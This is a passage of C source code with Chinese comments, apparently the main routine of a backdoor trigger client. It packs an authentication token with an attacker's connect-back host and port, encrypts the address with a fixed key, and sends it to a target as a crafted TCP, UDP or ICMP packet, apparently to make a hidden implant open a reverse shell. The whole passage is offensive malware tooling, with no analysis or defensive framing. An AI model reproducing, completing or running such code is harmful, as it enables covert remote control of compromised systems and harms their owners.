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connect_back_host == NULL || connect_back_port == NULL ||
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token == NULL) {
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usage(argv[0]);
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}
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// 检查端口参数
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if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 ||
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strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) {
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if (srcport == 0 || dstport == 0)
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usage(argv[0]);
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}
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// 计算数据长度
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len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3;
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crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2;
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data = (char*)malloc(len);
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// 检查内存分配
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if (!data)
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fatal("malloc");
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// 初始化数据
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bzero(data, len);
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snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port);
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do_encrypt(data + strlen(token) + 1, crypt_len, KEY); // 加密数据
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// 根据协议发送数据包
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if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
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tcp(srcip, dstip, srcport, dstport, data, len);
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}
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else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
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icmp(srcip, dstip, data, len);
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}
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else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
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udp(srcip, dstip, srcport, dstport, data, len);
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}
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// 释放内存
|
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|
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free(data);
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return EXIT_SUCCESS; // 返回成功
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|
|
}
|
